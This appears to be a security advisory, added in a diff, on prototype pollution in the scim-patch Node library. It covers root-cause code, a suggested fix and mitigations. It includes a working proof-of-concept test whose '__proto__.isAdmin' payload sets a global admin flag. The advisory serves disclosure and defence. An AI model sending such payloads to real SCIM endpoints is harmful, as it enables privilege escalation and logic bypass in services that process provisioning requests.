+ "details": "## Summary\n\n`scim-patch` performs prototype pollution when applying a SCIM PATCH operation whose `value` object contains a key like `\"__proto__.someProp\"`. After one such patch,\n`Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process.\n\nAny service that calls `scimPatch()` on attacker-controlled JSON (i.e. any SCIM endpoint accepting `PATCH` from an external IdP) is exploitable on a stock Node runtime.\n\n## Impact\n\n- **Class:** Prototype pollution ([CWE-1321](https://cwe.mitre.org/data/definitions/1321.html))\n- **Affected versions:** `<= 0.9.0` (current HEAD `871b1e2`)\n- **Attack vector:** Network — sent as part of a normal SCIM `PATCH /Users/:id` request body.\n- **Privileges required:** Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is \"low\" in CVSS terms (any authenticated provisioning client).\n- **Scope:** Changed — the bug is in a SCIM library but the side effect (`Object.prototype` mutation) leaks into the entire Node process.\n\nDownstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:\n- **Privilege escalation** if any auth/middleware code checks `actor.isAdmin` / `req.user.admin` / similar boolean flags against a plain object that *expects* the key to be absent.\n- **Logic bypass / DoS** if any code branches on `obj.name`, `obj.type`, `obj.id` etc. against plain objects (e.g. `pg`'s prepared-statement naming check — a real incident at one consumer).\n- **Persistence:** lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.\n\n## Root cause\n\nIn `src/scimPatch.ts:415-427`, `addOrReplaceObjectAttribute` iterates the user-supplied `patch.value` with `Object.entries` and feeds each key to `resolvePaths`, which splits on `.`:\n\n```ts\nfunction addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {\n if (typeof patch.value !== 'object') { ... }\n\n // src/scimPatch.ts:423-427\n for (const [key, value] of Object.entries(patch.value)) {\n assign(property, resolvePaths(key), value, patch.op);\n }\n return property;\n}\n```\n\n`assign` then walks the resulting key path with no filtering on dangerous keys (`src/scimPatch.ts:437-445`):\n\n```ts\nfunction assign(obj: any, keyPath: Array<string>, value: any, op: string) {\n const lastKeyIndex = keyPath.length - 1;\n for (let i = 0; i < lastKeyIndex; ++i) {\n const key = keyPath[i];\n if (!(key in obj)) {\n obj[key] = {};\n }\n obj = obj[key]; // ← obj[\"__proto__\"] === Object.prototype\n }\n // ... assigns into Object.prototype\n}\n```\n\nFor `keyPath = [\"__proto__\", \"polluted\"]`:\n- `\"__proto__\" in obj` is always true, so the fresh-object branch is skipped.\n- `obj = obj[\"__proto__\"]` now points to `Object.prototype`.\n- The final write lands on `Object.prototype.polluted`.\n\nThe same shape works for `constructor.prototype` keys.\n\n## Proof of concept\n\nDrop this in `test/prototypePollution.test.ts` and run `npm run build && npx mocha lib/test/prototypePollution.test.js`. Both tests pass against HEAD `871b1e2`:\n\n```ts\nimport { scimPatch } from '../src/scimPatch';\nimport { ScimUser } from './types/types.test';\nimport { expect } from 'chai';\n\ndescribe('Prototype pollution via scim-patch', () => {\n let scimUser: ScimUser;\n\n beforeEach(() => {\n scimUser = JSON.parse(`{\n \"schemas\": [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n \"id\": \"tea_4\",\n \"userName\": \"spiderman\",\n \"name\": { \"familyName\": \"Parker\", \"givenName\": \"Peter\" },\n \"active\": true,\n \"emails\": [{ \"value\": \"spiderman@superheroes.com\", \"primary\": true }],\n \"roles\": [],\n \"meta\": { \"resourceType\": \"User\", \"created\": \"x\", \"lastModified\": \"x\", \"location\": \"x\" }\n }`);\n });\n\n afterEach(() => {\n delete (Object.prototype as any).polluted;\n delete (Object.prototype as any).isAdmin;\n });\n\n it('pollutes Object.prototype via a value-key containing __proto__', () => {\n expect(({} as any).polluted).to.equal(undefined);\n\n scimPatch(scimUser, [{\n op: 'add',\n path: 'name',\n value: { '__proto__.polluted': 'yes' }\n }]);\n\n expect((Object.prototype as any).polluted).to.equal('yes');\n expect(({} as any).polluted).to.equal('yes');\n });\n\n it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {\n expect(({} as any).isAdmin).to.equal(undefined);\n\n scimPatch(scimUser, [{\n op: 'add',\n path: 'name',\n value: { '__proto__.isAdmin': true }\n }]);\n\n expect((Object.prototype as any).isAdmin).to.equal(true);\n expect(({} as any).isAdmin).to.equal(true);\n });\n});\n```\n\n## Suggested fix\n\nReject the three dangerous keys in `assign()` before the walk. Minimal patch:\n\n```ts\nconst DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);\n\nfunction assign(obj: any, keyPath: Array<string>, value: any, op: string) {\n for (const key of keyPath) {\n if (DANGEROUS_KEYS.has(key)) {\n throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);\n }\n }\n // ... existing logic\n}\n```\n\nAlternative, slightly safer: switch the walk target to `Object.create(null)` nodes when creating intermediate objects, and use `Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })` instead of `obj[key] = value` for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.\n\nEither approach is a non-breaking change — legitimate SCIM clients never send these keys.\n\n## Mitigation for consumers who can't upgrade immediately\n\nCalling `Object.freeze(Object.prototype)` (and the same on `Array.prototype`, `Function.prototype`) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a `TypeError` in strict mode. Node's `--frozen-intrinsics` flag does this for built-ins automatically.\n\n## Credit\n\nDiscovered by **Lee Wang (Notion)**. Reported by **David Wu (Notion)**.\n\nReport authored by **Claude**. Reviewed by **David Wu**.",
0 commit comments